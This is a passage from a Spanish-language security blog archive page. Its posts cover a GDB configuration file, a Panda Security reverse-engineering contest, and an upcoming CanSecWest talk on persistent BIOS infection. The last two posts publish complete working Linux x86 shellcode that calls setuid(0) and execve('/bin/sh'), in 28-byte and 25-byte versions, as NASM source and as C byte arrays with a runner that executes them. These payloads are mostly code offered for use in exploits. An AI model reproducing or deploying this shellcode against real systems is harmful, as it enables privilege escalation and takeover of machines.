Category Archives: Programacion - Page 4

Tuneando GNU Debugger (aka GDB)

A todos nos ha pasado cuando llevamos cierto tiempo depurando con gdb, que apartamos la vista de la pantall después de dejarnos los ojos y las manos en la consola, y seguimos viendo la magnífica interface de GDB (sí, hay entornos gráficos, pero no vamos a entrar en comparaciones), así que como no somos los primeros a los que nos pasa, varias personas (mamon_, elaine, pusillus, mon) personalizaron el fichero de configuración de GDB,el cuál nos da una interface similar a OllyDbg de MS Windows, coloreando los campos, etc. El fichero de configuración es el siguiente, y solo hay que guardarlo en la ruta de trabajo de nuestro usuario con el nombre “.gdbinit” y ahorrarnos tiempo y esfuerzo.

Descargar .gdbinit

Reto Panda Security

La compañía Panda Security, va a lanzar el próximo día 1 de Abril, una serie de retos de ingeniería inversa, con los siguientes premios:

  • Una consola PSP
  • iPod Touch
  • Portátil Dell

La página del reto es: http://www.retopanda.es/

Más información:

Persistent BIOS Infection – CanSecWest

Acabo de leer en el blog de Anibal Sacco (Exploiting Stuff) un proyecto (Persistent BIOS Infection) que será presentado en el CanSecWest que tendrá lugar del 16 al 22 de Marzo en Vancouver en el que han participado Anibal Sacco y Alfredo Ortega, sobre la inyección y ejecución de código en el chip del BIOS.

De momento no hay demasiada información publicada, pero podéis seguir los avances tanto en mi blog, como en el de Anibal Sacco.

Noticia Original:

After some time without news -as is usual around here- im back again, ready to say that i was confirmed as speaker at the CanSecWest conference that will be held March 16-20, at Vancouver, BC.

We will give a talk about a project what we’ve been working on with Alfredo Ortega (you know, the OpenBSD guy :) ) about a new generic binary method to get malicious code injected and executed into the computer BIOS. Yeah, that cute little chip…

I will post more details about the conference in some time. In the meanwhile, you can get more info from

For those who are planning to attend the conference, we (Alfred & I) will be arriving 16/3, and of course, we are up for some beers.

Continue reading ‘Persistent BIOS Infection - CanSecWest’

Smallest GNU/Linux x86 setuid(0) & exec(“/bin/sh”,0,0) Stable shellcode – 28 bytes

Después de todo lo que hemos hecho, vlan7 me avisó de que las shellcodes anteriores sobre las que habíamos estado trabajando, estaban mal escrita, ya que ambos estábamos metiendo el uid de la llamada setuid en el registro ecx, en lugar de ebx…. Un fallo sin perdón, sin duda.

Así que después de meditarlo bien, retocar la shellcode, probarla en diferentes entornos, modificando la pila, los registros, etc. He llegado a esta shellcode estable de 28 bytes que realiza corréctamente ambas llamadas, setuid & execve:

Código para nasm:

global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

Código en C:

#include 

const char shellcode[]= "\x31\xdb"
			"\x8d\x43\x17"
			"\x99"
			"\xcd\x80"
			"\x31\xc9"
			"\x51"
			"\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69"
			"\x8d\x41\x0b"
			"\x89\xe3"
			"\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@safetybits.net"
			"\n\t + http://safetybits.net"
			"\n\n[+] Date: 29/11/2008"
			"\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}

Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell

POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.

La más pequeña hasta la fecha.

SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL

History:
	+ v1.0 (27 bytes) => http://safetybits.net/2008/11/14/gnulinux-x86-
                             setuid0-execvebinsh00-shellcode-without-null/

	+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)

http://packetstormsecurity.org/filedesc/

                             smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include 

const char shellcode[]=	"\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
			"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@safetybits.net"
			"\n\t + http://safetybits.net"
			"\n\n[+] Date: 22/11/2008"
			"\n\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}

milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt